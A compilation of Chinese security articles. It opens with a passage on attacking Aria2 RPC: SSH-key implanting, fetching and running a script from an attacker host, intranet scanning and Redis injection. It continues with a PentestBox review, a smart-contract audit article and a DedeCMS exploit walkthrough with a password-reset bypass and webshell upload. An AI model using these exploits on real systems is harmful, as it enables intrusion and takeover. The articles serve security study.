通过控制文件下载链接、文件储存路径以及文件名，可以实现任意文件写入。同时通过 Aria2 提供的其他功能，诸如 `save-session`
等也能轻易地实现向任意文件写入指定功能。
##### 2.1.1 Bypass `--auto-file-renaming` and `--allow-overwrite`
根据 Aria2 RPC Server 的文档 changeGlobalOption 方法支持修改部分全局设置参数。[2] 通过修改 `allow-overwrite` 参数即可实现绕过自动重命名，且可以直接覆盖指定文件。 即使不修改 `allow-overwrite`，也可以通过其他方式，比如指定
session 文件路径来覆盖目标文件。
##### 2.1.2 Overwrite .ssh/authorized_keys By Download File
在类 Unix 系统上，持有储存在某用户目录下的 .ssh/authorized_keys 文件中的公钥所对应的私钥的用户可以通过 ssh
直接远程无密码登陆此系统。[3] 如果攻击者可以通过 Aria2 覆盖 .ssh/authorized_keys
文件的话，那么攻击者可以轻易地取得目标系统的权限。
s = PatchedServerProxy("http://victim:6800/rpc")
pprint(s.aria2.addUri(['http://attacker/pubkey.txt'], {'out': 'authorized_keys', 'dir': '/home/bangumi/.ssh/'}))
通过覆盖 .ssh/authorized_keys，成功登陆到目标服务器。
##### 2.1.3 Overwrite .ssh/authorized_keys By save-session
**老版本 Aria2** Aria2 RPC Server 提供 `save-session` 选项，可以指定在 aria2c
关闭时保存当前下载文件的状态；同时 Aria2 RPC Server 提供 `user-agent` 选项，可以指定下载文件的 UA。[2] Aria2
session 格式为：
http://download-server/1.txt
gid=79e8977d817e750e
dir=/home/bangumi/.aria2/
out=1.txt
allow-overwrite=true
user-agent=aria2/1.21.1
Aria2 未处理 `\n` 换行符，可以精心构造 user-agent 来伪造 session 文件，不过这偏离讨论范围。由于
.ssh/authorized_keys 存在容错性，所以可以设置 session 路径为 .ssh/authorized_keys，注入攻击者的
public key 来进行攻击。
pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true", "user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.shutdown())
攻击完成后 aria2 关闭，session 文件储存在指定目录。
**新版本 Aria2** 新版本的 Aria2 提供了 `aria2.saveSession` 方法，可以在避免关闭 aria2 的情况下储存
session。
pk = "ssh-rsa .... root@localhost"
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"user-agent": "\n\n" + pk + "\n\n", "save-session": "/home/bangumi/.ssh/authorized_keys"}))
pprint(s.aria2.getGlobalOption())
pprint(s.aria2.addUri(['http://download-server/1.txt'], {}))
pprint(s.aria2.saveSession())
##### 2.1.3 Overwrite Aria2 Configuire File
Aria2 提供 `--on-download-complete` 选项，可以指定下载完成时需要运行的程序。[2] 调用程序的参数为：
hook.sh $1 $2 $3
hook.sh GID 文件编号 文件路径
其中 GID 为 Aria2 自动生成的编号，文件编号通常为 1。`--on-download-complete` 选项传入的 COMMAND
需要为带有可执行权限的命令路径。 为了执行命令，我们需要寻找一个可以执行第三个参数路径所指向的文件的 COMMAND，不过不幸的是，Linux
下并没有找到类似的 COMMAND。由于前两个参数不可控，且未知，但是 GID 在 Aria2
添加任务的时候就已经返回，所以我们用一个比较取巧的方法执行命令。 首先下载恶意的 aria2 配置文件，并覆盖原本的配置文件，等待 aria2
重新加载配置文件。然后下载一个大文件，得到 GID 后立即暂停，接着下载一个小文件，使得小文件保存的文件名为大文件的
GID，最后再开启大文件的下载，即可执行任意命令。
s = PatchedServerProxy("http://victim/rpc")
pprint(s.aria2.changeGlobalOption({"allow-overwrite": "true"}))
pprint(s.aria2.getGlobalOption())
# pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/tmp', 'out': 'authorized_keys'}))
pprint(s.aria2.addUri(['http://attacker/1.txt'], {'dir': '/home/bangumi/.aria2/', 'out': 'aria2.conf'}))
raw_input('waiting for restart ...')
r = str(s.aria2.addUri(['http://attacker/bigfile'], {'out': '1'}))
s.aria2.pause(r)
pprint(s.aria2.addUri(['http://attacker/1.sh'], {'out': r}))
s.aria2.unpause(r)
下载完成后，Aria2 将会执行如下命令：
/bin/bash GID 1 /path/to/file
由于 GID 我们已知，且存在名为 GID 的文件，调用时路径基于当前目录，所以可以成功执行。
#### 2.2 SSRF
**Scan Intranet HTTP Service** 利用 Aria2 下载文件的特性，且对于下载的地址未限制，所以可以通过 Aria2
对于内网资源进行请求访问。
def gen():
return ['http://172.16.98.%d/' % (i,) for i in range(0, 255)]
def main():
s = ServerProxy("http://victim/rpc")
t = [s.aria2.addUri([i], {'dir': '/tmp'}) for i in gen()]
pprint(s.aria2.changeGlobalOption({'max-concurrent-downloads': '50', 'connect-timeout': '3', 'timeout': '3'}))
pprint(s.aria2.getGlobalOption())
while 1:
for f in t:
pprint(s.aria2.getFiles(f))
利用如上代码可对于内网资源进行扫描。
**Attack Redis Server** Aria2 的 `user-agent` 未过滤 `\n`，可以通过换行来攻击内网 Redis
Server。[4]
payload = '''
CCONFIG SET DIR /root/.ssh
CCONFIG SET DBFILENAME authorized_keys
SSET 1 "\\n\\n\\nssh-rsa .... root@localhost\\n\\n"
SSAVE
QQUIT
'''
s = ServerProxy("http://victom/rpc")
s.aria2.changeGlobalOption({'user-agent': payload})
pprint(s.aria2.addUri(['http://127.0.0.1:6379/'], {'dir': '/tmp'}))
攻击成功后，`/root/.ssh/authorized_keys` 被覆盖，可通过 ssh 无密码登陆。
### 3\. MITIGATION TECHNIQUES
#### 3.1 CLI OPTIONS
* `--rpc-listen-all`：最好关闭此项功能
* `--allow-overwrite`：应当关闭此项功能
* `--auto-file-renaming`：应当开启此项功能
* `--rpc-secret`：应当开启此项功能
#### 3.2 PERMISSIONS
* 通过 nobody 用户运行 aria2c
### REFERENCES
1. Aria2 - Ubuntu中文. <http://wiki.ubuntu.org.cn/Aria2>
2. aria2c(1) - aria2 1.29.0 documentation. <https://aria2.github.io/manual/en/html/aria2c.html>
3. Secure Shell - Wikipedia. <https://en.wikipedia.org/wiki/Secure_Shell>
4. 利用 gopher 协议拓展攻击面. <https://ricterz.me/posts/利用%20gopher%20协议拓展攻击面>
来源链接：https://ricterz.me/posts/Hacking%20Aria2%20RPC%20Daemon
* * * | 社区文章 |
# 【工具推荐】Windows渗透测试神器“PentestBox”
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[厦门安胜网络科技有限公司](http://bobao.360.cn/member/contribute?uid=2857332556)
稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**工具官网：**[ **https://pentestbox.org/zh/** ****](https://pentestbox.org/zh/)
****
**前言**
你是否在日常渗透测试过程中总是开着好几个虚拟机？Kali、BackTrack、xp…然后各种切换各种卡？如果是这样，那你可以试试接下来要介绍的这款windows下运行的神器——PentestBox。
**Windows下便携式渗透测试环境： PentestBox**
PentestBox是一款Windows平台下预配置的便携式开源渗透测试环境。说起渗透测试环境，Linux下有很多好用的渗透测试系统，如Kali、BackTrack、Parrot
Security
OS等;这些Linux系统中都集合了很多渗透测试过程中所需要的工具。但是毕竟多数人日常使用的都是Windows系统，若想要同时使用Windows及Linux系统的话，那就只能设置为双系统或将linux系统装在虚拟机中了。PentestBox就能解决这样的麻烦，官网是这样介绍的：
它打包了所有的安全工具，并且可以在Windows系统中原生地运行，有效地降低了对虚拟机或者双启动环境的需求。
PentestBox的一些优点特性如下：
1\. **易于使用：** 只是一个简单的命令行工具。
2\. **没有依赖需求：** 所有的依赖需求都已经安装在 PentestBox 内部，甚至可以直接在新安装的 Windows 系统上运行。
3\. **方便携带：** PentestBox
具有高度的便携性，现在可以将您的渗透测试环境直接放在USB存储设备中。它完美得解决了运行工具所需要的所有依赖和配置。
4. **Linux工具集：** PentestBox 包含了几乎所有的Linux工具集，比如bash、cat、chmod、curl、git、gzip、ls、mv、ps、ssh、sh、uname等。它甚至包含了编辑器之神"vim"。
5\. **无驱动问题：** Windows 平台已经有了完善的图形卡和无线网络驱动支持，不用担心驱动兼容性问题。假如您想使用 RainbowCrack
驱动GPU破解 Hash，这在类 Linux 环境下是无法实现的，但是 PentestBox 可以帮您完成。
6\. **模块化：** 在开发 PentestBox 的过程中，我们总是选择最好的工具，但是我们仍然可能错过了一些您想要使用的工具。您可以使用
PentestBox 内置的 toolsmanager 轻松安装/更新/卸载您想使用的工具。
7\. **更少的内存占用：** PentestBox 运行不需要虚拟机的支持，与运行在虚拟机上的至少占用2GB内存的发行版相比，仅需要20MB的内存。
8\. **内置浏览器：** PentestBox 内置一个安装有几乎所有安全相关插件的 Firefox 浏览器
9\. **可更新特性：** PentestBox 包含有更新模块，可以保持您的工具总是处于最新版本。
PentestBox有两个版本可以选择，一款安装了Metasploit，另一款则没有安装。需要注意的是，在安装和使用“安装有Metasploit的PentestBox”
时需要关闭杀毒软件和防火墙，因为metasploit生成的攻击载荷对于windows的安全来说是个威胁。
安装过程其实就是文件的释放，随后会在安装目录下生成5个文件夹，2个库文件，一个bat批处理以及exe启动程序。其中base文件夹集合了ruby、jdk、python等需要用到的环境变量；vendor下是程序运行框架；icons存放程序的图标；config则是一些配置文件，bin文件夹下就是程序打包的所有安全工具了，我们日常渗透测试所用到的工具如sqlmap、burpsuite、nmap、wpscan、cmsmap、dirbuster、ipscan、wireshark、metasploit等等都囊括其中，还有firefox这个渗透必不可少的浏览器，程序还为firefox预安装了一些安全插件，包括firebug、hackbar、live
http headers等等。也就是说，你可以把安装目录下的文件复制到你的U盘中，然后你就拥有一个便携式的渗透测试环境了。
接下来介绍一下如何使用PentestBox：
输入 list ，菜单显示不同类型工具的查看命令；
我们想看一下web应用程序都有哪些工具，只需要输入 list webapplication
，屏幕会显示当前PentestBox中安装好的web应用程序的启动命令及其工具名。
输入 sqlmap 来运行SQL注入软件SQLMAP；
输入 nmap 来运行网络发现和安全审计软件Nmap；
输入 firefox 来运行火狐浏览器；
想要了解所有PentestBox预安装工具的启动命令可以访问：
<https://tools.pentestbox.org/#linux-utilities>
**扩展 PentestBox**
PentestBox具有很好的拓展性，如果你有自己写的工具或者发现其它好用的工具但未被收集在PentestBox中，只需要简单的几个步骤就可以将之添加在其中，让我们来尝试将WebLogic反序列化漏洞利用工具加入PentestBox中：
1\. 将工具复制/下载到 C:/PentestBox/bin/customtools 目录下；
2\. 尝试输入文件名运行工具，很明显这是无效的，因为PentestBox中并没有这么一个工具；
3\. 打开位于 C:/PentestBox/bin/customtools 目录下的customaliases文件，输入命令
weblogic=start javaw -jar "%pentestbox_ROOT%bincustomtoolsWebLogic_EXP.jar" $*
其中weblogic是自定义的alias，即工具的别名，作为工具的启动命令；
4\. 在PentestBox控制终端输入weblogic，工具顺利启动；
5\.
上面的例子是一个基于Java的工具，那么如果我们要添加的是基于python或者ruby呢？原理步骤是一样的，只是在customaliases文件中写入的命令有所区别而已：
基于Python的工具：
tool=python "%pentestbox_ROOT%bincustomtoolstool.py" $*
基于Ruby的工具：
tool=ruby "%pentestbox_ROOT%bincustomtoolstool.rb" $*
基于可执行文件的工具：
tool="%pentestbox_ROOT%bincustomtoolstool.exe" $*
基于Java的工具：
tool=start javaw -jar "%pentestbox_ROOT%bincustomtoolstool.jar" $*
PentestBox v2.0中引入了一个新功能——Tools
Manager，用户可以使用此功能安装/更新/卸载工具。一些并未预安装在PentestBox中，但又值得推荐了工具便可以在Tools
Manager中进行安装，这也使得PentestBox更加模块化。
你也可以浏览以下网页来了解可以使用toolsmanager安装的工具列表及介绍：
<https://modules.pentestbox.org/>
下面演示一下如何使用toolsmanager安装工具joomlascan：
1\. 先尝试输入 joomlascan 来运行，程序报错了；
2\. 输入命令 toolsmanager
，toolsmanager会先从Github存储库更新自己，然后将显示菜单；如果没有连接网络，脚本会等待一小会再显示菜单；
3\. 输入 10 ，进入Web Applications，输入 install joomlascan 来安装工具。安装后将会显示工具的别名；
4\. 重启程序，输入 joomlascan ，程序成功启动。
**总结**
总而言之，这是一款集合了众多渗透工具的便携式渗透测试环境，不仅帮你集合了众多常用渗透工具，还具有良好的拓展性；个人常用工具的添加方便快捷
；有了它，你就可以打造出专属的Windows渗透测试环境，无需使用Linux啦。 | 社区文章 |
## 0x00 前言
本次给大家带来的是“智能合约审计系列”的第二篇——“权限隐患&条件竞争”。
在这篇文章中将会给大家介绍一些智能合约开发者在合约开发过程中经常会忽略的权限问题，包括智能合约开发者在开发中为自己留的特权（后门）所带来的安全隐患，同时还将对“条件竞争”进行一个探讨。
## 0x01 基础知识
#### 权限的概念
权限是指为了保证职责的有效履行，任职者必须具备的对某事项进行决策的范围和程度。它常常用“具有xxxxxxx的权利”来进行表达，比如：公司的CEO具有否定某项提议的权利。
站在合约的管理角度来讲，智能合约中的用户可以分为合约的owner、合约的普通用户两类。合约的owner是合约的拥有者，他可以执行合约中所有的函数；合约的普通用户可以执行合约中约定范围内的函数，对于一些对权限有校验或对执行者身份有要求的函数（比如：用onlyowner修饰器修饰的函数）是无法执行的。
#### solidity中函数的可见性
solidity使用了public、private、internal、external来对函数的可见性进行限定，下面进行简单的介绍：
**public:** 使用public限定的函数可以被合约内部函数、继承合约、外部合约调用。
**private:** 使用private限定的函数只能被合约内部函数调用。
当继承合约中的函数调用父合约中用private限定的函数时会编译报错：
**internal:** 使用internal限定的函数可以被合约内部函数以及继承合约调用。
**external:** 使用external限定的函数只能外部合约调用。
_注：函数的默认可见性为public_
## 0x02 权限隐患
#### 构造函数权限问题
**构造函数及其作用**
Solidity编写合约和面向对象编程语言非常相似，我们可以用构造函数（constructor）来初始化合约对象。Solidity中构造函数就是方法名和合约名字相同的函数，创建合约时会调用构造函数对状态变量进行数据初始化操作。
构造函数可用的函数类型为public或internal,如果有payable修饰,就只能是public类型。而大部分人的写法都是
public或者不写。不写类型则由函数可见性默认为public类型。同时，如果构造函数带参数，则一定要放在合约下的第一个函数。
**版本升级后构造函数的变化**
从0.4.22版本开始，solidity编译器引入了constructor关键字，以替代低版本的将合约名作为构造函数名的语法，避免程序员容易出现的编码错误。使用旧写法会出现
warning 信息。
新版本写法为：
**构造函数带来的安全问题**
构造函数之所以区别于普通函数，是因为构造函数它主要用户初始化整个合约对象，而且不能被任意用户所调用，所以一旦构造函数可以被任意用户调用时，调用者就可以获得初始化合约的权限，带来安全隐患。下面举几个之前引发的案例作为简要分析：
**1.构造函数名与合约名不相同**
在编译器0.4.22之前构造函数的函数名默认是和合约名一致的，如果智能合约的开发者在开发过程中出现"构造函数名与合约名不一致"的现象（大小写、多加了一个s等情况），那么构造函数将不再是“构造函数”，而变为一个任意用户可以调用的普通函数，任意用户可以通过调用该函数实现对合约的初始化操作，例如ReaperCoin11合约：
合约地址：<https://etherscan.io//address/0x1b7cd071187ec0b2995b96ee82296cfa639572f1#code>
如上图所示，根据注释可以知晓合约中的reaper11函数是“构造函数”，但是细细看该函数名与合约名——ReaperCoin11不一致，所以此处的构造函数变成了一个public修饰的普通函数！我们可以通过Remix来看看区别：
a.构造函数名与合约名不一致时：
可以看到构造函数可以被任意用户调用
b.修改构造函数名为ReaperCoin11之后，重新编译：
此时，你会发现构造函数不可被用户调用，即不可被任意用户用于初始化合约！这就是所谓的区别！
**2.constructor函数不规范**
在编译器0.4.22之后使用了constructor来替代原先的“构造函数名与合约名必须一致”的代码编写规范，但是一些合约开发者在开发工程中往往还是会出现各种错误，例如：在constructor前面加function，或者加了function然后开头的C写成了大写，即“function
Constructor(){}”,这样便使得构造函数变成了公有函数，可被人任意调用，下面举例来说明：
a.加入function变成普通函数形式：
MDOT合约：<https://etherscan.io//address/0xef7d906fd1c0eb5234df32f40c6a1cb0328d7279#code>
我们使用Remix编译一下，看看是否真的是这样（口说无凭嘛！）
在编译时，发现会给出“警告”哦！但是因为“警告”在合约开发中很常见，一般不是什么致命错误所以很多合约开发者在开发合约以及调试过程中会忽略这一点！
我们部署之后，发现合约中的constructor函数缺失成为了一个“普通函数”，不再是“构造函数”：
b.constructor拼写错误
TOGToken合约：<https://etherscan.io//address/0xb9d5c2548266428795fd8b1f12aedbdeb417fe54#code>
我们使用Remix编译部署看看：
**安全建议：使用规范的构造函数定义方法。**
#### 普通函数权限问题
对于一些普通函数，我们一般会使用一些修饰器来进行修饰，同时有时候也会使用public、private、internal、external来进行修饰，在笔者审计合约的时候发现有一些合约的开发者为自己留下的传说中的“后门”，下面简单的举几个例子：
a.burn函数权限问题
Token合约：<https://etherscan.io/address/0xc42209aCcC14029c1012fB5680D95fBd6036E2a0#code>
如上图所示，在该合约中的burn函数被onlyAuthorized修饰器修饰限定，通过查看可以发现onlyAuthorized修饰器限定了msg.sender必须要为合约的owner，所以只有合约的owner可以调用burn函数，那么此处不是很正常吗？又有什么风险呢？答案是此处的burn函数的功能是用于销毁代币的，而burn函数中一共有两个参数，第一个参数_member为要销毁代币的用户地址，第二个参数为要销毁的代币的数量，虽然后面使用了SafeMath函数库，但是合约的owner依旧可以通过调用burn函数然后将要销毁代币的用户地址传给第一个参数，然后将要销毁代币的数量传给第二个参数即可，合约的owner可销毁任意用户的代币，甚至归0。
b.melt函数
sacToken合约：<https://etherscan.io/address/0xabc1280a0187a2020cc675437aed400185f86db6#code>
如上图所示，在该合约中的melt函数用于销毁用户的代币，但是该合约只能被合约的CFO调用，那么我们看看onlyCFO修饰器的具体细节：
可以从上图中看到，CFO其实就是合约的owner，那么我们现在可以确定melt函数真正的调用者应该是合约的owner，下面我们继续分析melt函数：在melt函数中，一共有两个参数，第一个参数是要销毁代币的目标地址，第二个参数是要销毁的代币金额数量，故合约的owner可以通过传入任意用户的地址，之后传入要销毁的代币数量，通过sub减法操作，走正常的逻辑流程之后达到销毁目标用户的代币的目的。
授人以鱼不如授人以渔，类似的函数还有很多，有兴趣的读者可以在理解以上逻辑的基础上自我去挖掘一波！
**安全建议：** 对函数的逻辑流程、参数的设置与定义、修饰器的使用、修饰词的使用严格把控。
## 0x03条件竞争
#### 条件竞争的概念
条件竞争漏洞是一种服务器端的漏洞，由于服务器端在处理不同用户的请求时是并发进行的，因此，如果并发处理不当或相关操作逻辑顺序设计的不合理时，将会导致此类问题的发生。
由于以太坊区块链是公开的，每个人都可以看到其他人未决交易的内容。这意味着，如果某个用户提交了一个有价值的解决方案，恶意用户可以窃取该解决方案并以较高的费用复制其交易，以抢占原始解决方案。
### ERC20中的条件竞争问题
在ERC20代币合约中有这样个函数——approve：
该函数的主要功能是授权给第三方让其代替当前账户转账给其他账户，但是在这个函数当中却存在“事务顺序依赖性问题”，简要描述如下：
假设有两个用户：用户A,用户B
1.用户A通过调用approve函数允许用户B代其转账的数量为N（N>0）;
2.经过一段时间后，用户A决定将N改为M（M>0），所以再次调用approve函数；
3.用户B在第二次调用被矿工处理之前迅速调用transferFrom函数转账N数量的token；
4.用户A对approve的第二次调用成功后，用户B便可再次获得M的转账额度，即用户B通过交易顺序攻击获得了N+M的转账额度。
当然这个漏洞的利用难度还是有点高的！
### 条件竞争问题引起的讨论
对于“条件竞争”这个问题，曾引发的广泛的讨论：
首先是Ethereum官方给出了一个建议：
<https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md>
上面的主要意思是限制approve函数在将配额从N修改为M时，只能先从N修改为0，再从0修改为M，可以通过以下语句进行限制：
随后就有人提出上面的这种安全建议可以解决“事务顺序依赖性”，但是如果加了require进行限制，那么合约就不符合ERC20标准规范了，具体详情可以参考下面的链接：
<https://github.com/RewardsNetwork/Alloy-ICO-Contracts/issues/9>
之后openzeppelin也给出了另外一个安全建议：
使用increaseApproval函数和decreaseApproval函数来代替approve函数，同时由于ERC20标准性问题合约当中也必须要有approve（没有添加require），具体代码如下：
这里的increaseApprove的含义是在原有的“配额”基础上再增加“配额”
这里的decreaseApprove的含义是在原有的“配额”基础上再减少“配额”
笔者认为如果将approve以及increaseApprove、decreaseApprove三个函数放到一个合约当中，而且这三个函数都是public，approve函数当中也没有安全判断，那么如果用户仍然可以调用Approve进行“配额”划分，此时的increaseApprove和decreaseApprove和没存在基本上是一模一样的，在这种情况下合约仍然存在“事务顺序依赖性问题”。
笔者在做智能合约审计的过程中发现有不少合约分别采用了以下三种对于“approve事务顺序依赖性”问题的处理方法：
1.在approve当中增加Require进行安全判断
例如：
<https://etherscan.io/address/0x0317ada015cf35244b9f9c7d1f8f05c3651833ff#code>
<https://etherscan.io/address/0x3597bfd533a99c9aa083587b074434e61eb0a258#code>
<https://etherscan.io/address/0x38c6a68304cdefb9bec48bbfaaba5c5b47818bb2#code>
……..
2.使用increasApprove和decreaseApprove函数替代approve函数，Approve函数保持ERC20标准，不增加require进行安全防范
例如：
<https://etherscan.io/address/0x58a4884182d9e835597f405e5f258290e46ae7c2#code>
<https://etherscan.io/address/0x05d412ce18f24040bb3fa45cf2c69e506586d8e8#code>
<https://etherscan.io/address/0x153ed9cc1b792979d2bde0bbf45cc2a7e436a5f9#code>
…….
3.使用increaseApprove和decreaseApprove函数替代Approve函数，Approve函数当中使用require进行安全防范。
例如：
<https://etherscan.io/address/0xc98e0639c6d2ec037a615341c369666b110e80e5#code>
<https://etherscan.io/address/0xbb49a51ee5a66ca3a8cbe529379ba44ba67e6771#code>
<https://etherscan.io/address/0x1b22c32cd936cb97c28c5690a0695a82abf688e6#code>
……..
以上的解决方案在众多的智能合约当中都可以见到，其中第一种、第二种居多，第三中偏少。
对于“事务顺序依赖性”问题的解决方案可以从以下两个角度来看：
**从安全角度看：**
第一种、第三种都可以成功的解决“事务顺序依赖性”问题，而第二种仍然无法有效的解决“事务顺序依赖性”问题。
**从ERC20标准来看：**
第一种、第三种都违反了ERC20标准规范，第二种符合ERC20标准规范。
**小思考：**
加了“require”判断是为了安全，不加是为了标准，你会如何抉择？(虽然该类型的漏洞利用难度比较高)
## 0x04 总结
合约的开发者应当建立一套开发标准规范，同时尽可能的搜集网络上公开的现有的合约的漏洞的类型以及利用方法和安全补救方法，之后不断的完善自己的开发体系，而且在合约上线之前建议还是找专门的公司进行合约的安全审计，对合约做一次评估为好。
**道路千万条，安全第一条。
编码不规范，亲人两行泪~** | 社区文章 |
# 前言
本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现，因为代码审计较弱，代码这一块的分析借鉴了一些大佬的思想，在这里对大佬们表示衷心的感谢。
# 环境搭建
下载DedeCMS源码放到phpstudy目录下
然后输入`127.0.0.1/DedeCMS/uploads/install/index.php`进行安装
进入环境检测页面
进行环境配置
这里先进入网站的后台
默认密码为admin admin
这里需要改一下绝对路径
系统默认管理路径是dede，登陆管理后台可以通过地址<http://127.0.0.1/dede/login.php>进行访问
这里我直接在根目录下更改
重新进去管理员后台即可
然后再对php文件进行修改
然后再对默认的管理员名称和密码进行修改
更改成功
对数据进行还原
看一下网站的地址
点击生成更新网站
更新后如图所示
然后即可访问网站，CMS搭建完毕
# 漏洞分析及复现
## 前台任意用户密码修改
### 漏洞成因
在用户密码重置功能处，php存在弱类型比较，导致如果用户没有设置密保问题的情况下可以绕过验证密保问题，直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是member表中的密码，即使修改了管理员密码也是member表中的管理员密码，仍是无法进入管理。
### 漏洞代码分析
php弱类型比较问题很常见，在不同类型比较时，如果使用的是==，php会将其中一个数据进行强制转换为另一个，比如'123a'就会被强制转换成123。这样就出现了弱类型比较问题，当然如果使用===判断比较就不会出现问题了，常见比较如下
'' == 0 == false '123' == 123 //'123'强制转换为123
'abc' == 0 //intval('abc')==0
'123a' == 123 //intval('123a')==123
'1' == 1 //被识别为十六进制
'0e123456789' == '0e987654321' //被识别为科学计数法
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1
dedecms的`/member/resetpassword.php`就是用来处理用户密码重置的问题，问题出在75行开始处理验证密保问题处。
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';
if(empty($safeanswer)) $safeanswer = '';
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起，您的安全问题或答案回答错误","-1");
exit();
}
}
可以看到，这段代码先是从数据库取出相关用户的密保问题及密保答案，在对用户输入做了一些处理后，进行了关键性的判断
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
就在这里用了弱类型判断==。
首先我们知道，如果没有设置密保的话safequestion从数据库取出默认为'0'，safeanswer为空。根据empty函数特性，'0'会被判断为空，会进入重新将\$safequestion赋值为''。而'0'
!= ''，所以我们需要一个输入即不使empty为空，且弱类型等于'0'的字符串。'00'、'000'、'0.0'以上这些都是可以的。
接下来safeanswer既然本来就为空，那么不输入正好也就相等了，跟踪sn函数
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件；
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码；
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件；
else
{
return ShowMsg('对不起，请10分钟后再重新申请', 'login.php');
}
}
跟踪`newmail`
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid."：\r\n您好！感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求，重新设置密码：（注：如果您没有提出申请，请检查您的信息是否泄漏。）\r\n本次临时登陆密码为：".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败，请联系管理员', 'login.php');
}
}
可见在sn函数中将`send`参数设置了'N'，其实就是生成了暂时密码并插入了数据库中，并进行跳转
else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
跳转链接就是修改密码的链接了
### 漏洞复现
首先打开后台管理页面开启会员功能
注册一个帐号
信息的话随便填一下即可注册成功
然后进入了个人中心
进入会员中心
点击通过安全问题取回
输入用户名
拖入bp改包为payload
dopost=safequestion&id=1&userid=admin&safequestion=00&safeanswer=0&vdcode=Vs4p
进入url，修改密码
## 前台文件上传漏洞
### 漏洞分析
漏洞在于用户发布文章上传图片处。处理文件在`/include/dialog/select_images_post.php`
而上传文件存在全局过滤`/include/uploadsafe.inc.php`
#/include/uploadsafe.inc.php
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}
可以看到名字中不得有上述字符，且限制了`content-type`。按道理说直接限制不得存在的字符，似乎没有问题了，可在发布文章文件上传的处理文件`select_images_post.php`中存在如下代码：
$imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#", '', $imgfile_name));
if(!preg_match("#\.(".$cfg_imgtype.")#i", $imgfile_name)) #$cfg_imgtype = 'jpg|gif|png';
{
ShowMsg("你所上传的图片类型不在许可列表，请更改系统对扩展名限定的配置！", "-1");
exit();
}
再次过滤了图片名，并且再次判断如上三种文件类型是否存在其中。这么一次过滤，直接粗暴的将一些特殊字符替换为空，那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制，比如文件名为`1.jpg.p\*hp`。
### 漏洞复现
登录test1用户，点击内容中心
需要邮箱认证，这里因为在本地复现就直接给一个正常发文的权限即可
登入管理员后台修改为正常使用状态
再点击内容中心即可
然后准备一个一句话木马
先尝试下直接上传php改type
发现返回为`filetype not allow`，可能不行
这里尝试混淆文件名，也拦截了
这里我直接上传一个图片马，然后能够上传成功
copy 1.jpg/b + 2.php/a 3.jpg
访问一下也能够访问到
连接一下发现返回数据为空，这里排查了下问题是因为上传的后缀名为jpg所以不能够解析
使用图片马更改后缀名即可
蚁剑连接即可
用post传参把`phpinfo()`打出来
## DedeCMS任意用户登录
### 漏洞原理
dedecms的会员模块的身份认证使用的是客户端session，在Cookie中写入用户ID并且附上`ID__ckMd5`，用做签名。主页存在逻辑漏洞，导致可以返回指定uid的ID的Md5散列值。原理上可以伪造任意用户登录。
